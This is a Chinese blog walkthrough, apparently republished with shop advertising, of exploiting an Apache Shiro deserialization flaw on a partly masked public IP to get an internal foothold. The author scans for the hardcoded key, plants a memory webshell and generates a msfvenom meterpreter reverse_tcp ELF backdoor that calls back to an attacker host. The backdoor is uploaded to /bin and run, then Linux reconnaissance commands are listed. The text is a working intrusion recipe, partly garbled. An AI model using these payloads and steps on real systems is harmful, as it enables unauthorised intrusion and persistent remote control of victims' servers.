资讯详情

记一次实战 Shiro反序列化内网上线

?? 共享优质资源 ??

学习路线指南(点击解) 知识定位 人群定位
?? Python实战微信订餐小程序 ?? 进阶级 本课程是python flask 从项目建设到腾讯云部署上线,微信小程序的完美结合,打造了全栈订餐系统。
??Python量化交易实战 入门级 携手打造易扩展、更安全、更高效的量化交易系统

Shiro反序列化内网上线


**说明:**本帖子仅分享安全人员提供安全学习思路或合法授权的安全测试。请不要参考其他用途。如果是这样,你将承担后果。感谢您的关注

**目标:152.xxx.xxx.xxx****目的:类型:**Web反序列化漏洞

**介绍:**Shiro 是 通过序列化,进行AES身份验证加密密密钥(cookie加密)通过shiro硬编码 比证密钥 获取目标使用链并在线操作![](https://img-blog.csdnimg.cn/img_convert/630c3a66a8a98bc79566eb0b62ccb82e.png#clientId=u3b1529ff-2511-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=165&id=u1a1f8676&margin=[object Object]&name=image.png&originHeight=206&originWidth=746&originalType=binary&ratio=1&rotation=0&showTitle=false&size=46275&status=done&style=none&taskId=u67250c78-4816-4eb3-a7f0-dc5d798ad53&title=&width=596.8)本文的原因是在一次渗透测试中,挖了一个shiro反序列化 因此,试图进行内网渗透

**特征:**请求信息中 构造cookie添加参数rememberMe=xxx,在响应消息头中观察Set-Cookie是否有rememberMe=deleteMe;若有,则说明使用shiro框架![](https://img-blog.csdnimg.cn/img_convert/83b865ba51492eba0f44b179079c695d.png#clientId=uaf71bc80-23d1-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=304&id=u919d6b48&margin=[object Object]&name=image.png&originHeight=380&originWidth=1159&originalType=binary&ratio=1&rotation=0&showTitle=false&size=272235&status=done&style=none&taskId=ue5effb30-565d-4e58-a48d-b0e5fde124b&title=&width=927.2)

信息收集


这里我采用的是网络空间测绘引擎、目录信息收集、域名收集 资产整合利用等

我在这里用的是java开发的shiroScan 检测工具*![](https://img-blog.csdnimg.cn/img_convert/cf0a72bb198e5f5887e649a8fb119b72.png#clientId=u9d6f330f-d99a-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=689&id=uf6916be2&margin=[object Object]&name=image.png&originHeight=861&originWidth=1731&originalType=binary&ratio=1&rotation=0&showTitle=false&size=201688&status=done&style=none&taskId=u27c03489-e95b-47cb-84cc-2be09b261e2&title=&width=1384.8)

开始在当前目录下扫描目标 再次筛选生存和可用的网站![](https://img-blog.csdnimg.cn/img_convert/58e25dcaef25aaa1f622728b894824cd.png#clientId=ud865159c-2323-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=542&id=u26d61d48&margin=[object Object]&name=image.png&originHeight=677&originWidth=1520&originalType=binary&ratio=1&rotation=0&showTitle=false&size=391007&status=done&style=none&taskId=ua821a0bd-d65f-4c20-b5d4-14994c0c2d4&title=&width=1216)

导出并保存筛选结果![](https://img-blog.csdnimg.cn/img_convert/4092f455c6cade2d45bbb209af1859a1.png#clientId=ud865159c-2323-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=665&id=u741f2cdd&margin=[object Object]&name=image.png&originHeight=831&originWidth=1266&originalType=binary&ratio=1&rotation=0&showTitle=false&size=269374&status=done&style=none&taskId=ua3f7d497-2e96-4fe7-850d-443c7a082c7&title=&width=1012.8)

漏洞利用


我在这里用的是java开发的shiro在使用工具筛选目标时 发现目标存在Shiro反序列化漏洞 硬编码![](https://img-blog.csdnimg.cn/img_convert/dc184e47e3187cb960c0fbd8c37834f5.png#clientId=ud865159c-2323-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=138&id=u24881d82&margin=[object Object]&name=image.png&originHeight=172&originWidth=835&originalType=binary&ratio=1&rotation=0&showTitle=false&size=60401&status=done&style=none&taskId=u8ce33b0f-edf3-4432-8875-09a6fdaa8c1&title=&width=668)在工具中使用功能区,爆破后,扫描目标。【记得开代理】kali中 开个小代理![](https://img-blog.csdnimg.cn/img_convert/9faa69c764c5ad3fcd58653503ed5d2c.png#clientId=u8f720aeb-a6e3-4&crop=0&crop=0&crop=1&crop=1&from=paste∓height=576&id=u623f219b&margin=[object Object]&name=image.png&originHeight=720&originWidth=1280&originalType=binary&ratio=1&rotation=0&showTitle=false&size=295068&status=done&style=none&taskId=u0d2c91a6-93cf-4475-8fe9-3d5a39c28e0&title=&width=1024)![](https://img-blog.csdnimg.cn/img_convert/2ffe5478946f59626872311d738154ff.png#clientId=u8f720aeb-a6e3-4&crop=0&crop=0.7111&crop=1&crop=1&from=paste&height=251&id=ufa26ed84&margin=[object Object]&name=image.png&originHeight=314&originWidth=1118&originalType=binary&ratio=1&rotation=0&showTitle=false&size=99353&status=done&style=none&taskId=u8148cece-d9f8-4907-8432-08ad9e0651d&title=&width=894) 是无文件渗透测试的一种常用手段webshell的变迁过程大致如下所述:web服务器管理页面——> 大马——>小马拉大马——>一句话木马——>加密一句话木马——>加密内存马因为传统的文件上传的webshll或以文件形式驻留的后门越来越容易被检测到,故内存马使用越来越多![](https://img-blog.csdnimg.cn/img_convert/9239a2d812bb2600003afbac8e643b40.png#clientId=ud865159c-2323-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=222&id=udef18496&margin=[object Object]&name=image.png&originHeight=278&originWidth=1255&originalType=binary&ratio=1&rotation=0&showTitle=false&size=26900&status=done&style=none&taskId=u99fe004f-5839-4bc4-88a5-215c1daaed8&title=&width=1004)这边我使用 尝试连接成功 ![](https://img-blog.csdnimg.cn/img_convert/a5b2ed68c274a3bad55ae1892bf9fd9d.png#clientId=ud865159c-2323-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=649&id=ucfafaefb&margin=[object Object]&name=image.png&originHeight=811&originWidth=1193&originalType=binary&ratio=1&rotation=0&showTitle=false&size=134970&status=done&style=none&taskId=ue3cd8a92-00cc-48ac-8cf7-ceaebb03dff&title=&width=954.4)在的命令行中执行 查询命令时 发现该目标是 初步判断是Debian![](https://img-blog.csdnimg.cn/img_convert/a252e1a5780bba938a0693f250bce920.png#clientId=u8f720aeb-a6e3-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=93&id=u36c9bbec&margin=[object Object]&name=image.png&originHeight=116&originWidth=996&originalType=binary&ratio=1&rotation=0&showTitle=false&size=12363&status=done&style=none&taskId=u523457be-1599-40ea-a4f3-ab7c5cf60e6&title=&width=796.8)

目标上线


这里开始利用 metasploit 安全漏洞检测工具中的_msfvenom payload生成器 _使目标上线

msfvenom生成 Linux 后门程序,这里刚开始我是使用的cobalt strike 中生成的Java后门程序发现行不通 可能是因为目标JDK的版本 导致不兼容的原因,故利用metasploit的msfvenom生成后门程序 结合“蚁剑”上传后门程序 使目标成功进行执行上线操作 msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=[lhost_ip] lport=22715 -f elf -o 123.elf ![](https://img-blog.csdnimg.cn/img_convert/c4d05b7cecae2f29d7bda9cd859649a5.png#clientId=ud865159c-2323-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=304&id=ue3f48ee2&margin=[object Object]&name=image.png&originHeight=380&originWidth=1392&originalType=binary&ratio=1&rotation=0&showTitle=false&size=137524&status=done&style=none&taskId=ub5784c8c-1364-4652-8494-6cd58336fdc&title=&width=1113.6)将生成的后门程序 上传至目标 并利用蚁剑的命令行执行此文件 记得改文件执行权限chmod 777 123.elf;chmod u+x 123.elf;./123.elf 执行文件![](https://img-blog.csdnimg.cn/img_convert/896300700208f57aebdb9c9439b6a2e7.png#clientId=ud865159c-2323-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=514&id=u8e2e78ee&margin=[object Object]&name=image.png&originHeight=643&originWidth=1580&originalType=binary&ratio=1&rotation=0&showTitle=false&size=191739&status=done&style=none&taskId=u394d07ab-acf0-4b6c-b5c0-7ed936f207f&title=&width=1264)后门程序“123.elf” 成功上传至目标/bin目录下

执行msfconsole 进入MSF命令接口 执行快速监听等待目标成功上线![](https://img-blog.csdnimg.cn/img_convert/a9464ea0bd56d19a9ec002ec3c934ef6.png#clientId=ud865159c-2323-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=388&id=u6a25344e&margin=[object Object]&name=image.png&originHeight=485&originWidth=1303&originalType=binary&ratio=1&rotation=0&showTitle=false&size=141975&status=done&style=none&taskId=u729b624b-1409-4a55-ab62-dde428e27c8&title=&width=1042.4)利用成功拿shell它是攻击载荷能够获得目标系统的一个Meterpreter shell的链接![](https://img-blog.csdnimg.cn/img_convert/7288a43b2766f822d73d2a7c323f973e.png#clientId=u8f720aeb-a6e3-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=446&id=u2a9bb074&margin=[object Object]&name=image.png&originHeight=558&originWidth=1110&originalType=binary&ratio=1&rotation=0&showTitle=false&size=50605&status=done&style=none&taskId=u7e06df76-12dc-4251-8660-b65004c750e&title=&width=888)

内网渗透 Linux信息收集

查询主机名

2>/dev/null,作用是丢弃错误信息hostname 2>/dev/null![](https://img-blog.csdnimg.cn/img_convert/309ff010ab3eeebb14deb71e218af7ca.png#clientId=ud865159c-2323-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=144&id=u012959cb&margin=[object Object]&name=image.png&originHeight=180&originWidth=556&originalType=binary&ratio=1&rotation=0&showTitle=false&size=27608&status=done&style=none&taskId=uf0be1324-6a97-4b59-8f5d-5b9fe5badc4&title=&width=444.8)

查询系统名称

cat /etc/issue![](https://img-blog.csdnimg.cn/img_convert/dd5f9247e8b3ccde8e8b821eb7d2e783.png#clientId=u9650ef87-b70d-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=43&id=u355a5cfd&margin=[object Object]&name=image.png&originHeight=54&originWidth=269&originalType=binary&ratio=1&rotation=0&showTitle=false&size=2847&status=done&style=none&taskId=ub8db0ce5-77b9-4e75-80e7-6af0503dc52&title=&width=215.2)

查询内核版本

查询系统和内核的所有相关信息依次为内核名称,主机名,内核版本号,内核版本,硬件架构名称,处理器类型,硬件平台类型,操作系统名称uname -a![](https://img-blog.csdnimg.cn/img_convert/00242ac610f3b0cb35711053efe26693.png#clientId=ud865159c-2323-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=55&id=u1bc4b2a2&margin=[object Object]&name=image.png&originHeight=69&originWidth=1170&originalType=binary&ratio=1&rotation=0&showTitle=false&size=27226&status=done&style=none&taskId=u923166cb-5ab8-4c41-9a14-30f04244a35&title=&width=936)

查询CPU信息

cat /proc/cpuinfo![](https://img-blog.csdnimg.cn/img_convert/9d8e7b58e1f3bb9d1d0f30d62365df7b.png#clientId=u9650ef87-b70d-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=187&id=u8f644322&margin=[object Object]&name=image.png&originHeight=234&originWidth=668&originalType=binary&ratio=1&rotation=0&showTitle=false&size=16575&status=done&style=none&taskId=u49417e4e-8158-4444-94cb-6d9af1d82d3&title=&width=534.4)

查询磁盘信息

查询文件系统磁盘的详细信息包括磁盘名称,内存大小,已用空间,可用空间,挂载点查看本地磁盘信息df -lh查看所有磁盘信息df -ah![](https://img-blog.csdnimg.cn/img_convert/10f99f3ce79488b4ad60bf1f65332589.png#clientId=u9650ef87-b70d-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=173&id=uf8ad2964&margin=[object Object]&name=image.png&originHeight=216&originWidth=719&originalType=binary&ratio=1&rotation=0&showTitle=false&size=26330&status=done&style=none&taskId=uf4bddca0-60b5-4ce7-9f66-c8b99aff6b4&title=&width=575.2)

查询网络连接状态

访问网络连接状态及其相关信息的程序![](https://img-blog.csdnimg.cn/img_convert/0718bc474676a42e08e8785f8de2df22.png#clientId=ud865159c-2323-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=196&id=u089b3cad&margin=[object Object]&name=image.png&originHeight=245&originWidth=1179&originalType=binary&ratio=1&rotation=0&showTitle=false&size=103112&status=done&style=none&taskId=u5841fccf-ea48-4379-ae51-cb1b847c3e7&title=&width=943.2)这里可以看到在目标执行中的"123.elf"后门程序

点到为止 测试结束

  • Shiro反序列化内网上线

  • 信息收集

  • 漏洞利用

  • 目标上线

  • 内网渗透 Linux信息收集

  • 查询主机名

  • 查询系统名称

  • 查询内核版本

  • 查询CPU信息

  • 查询磁盘信息

  • 查询网络连接状态

    __EOF__

    -Kio- - https://blog.csdn.net/Webkio/p/16482980.html

  • 评论和私信会在第一时间回复。或者直接私信我。
  • 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 如果您觉得文章对您有帮助,可以点击文章右下角**【[推荐](javascript:void(0)😉】**一下。

标签: df37nc连接器

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台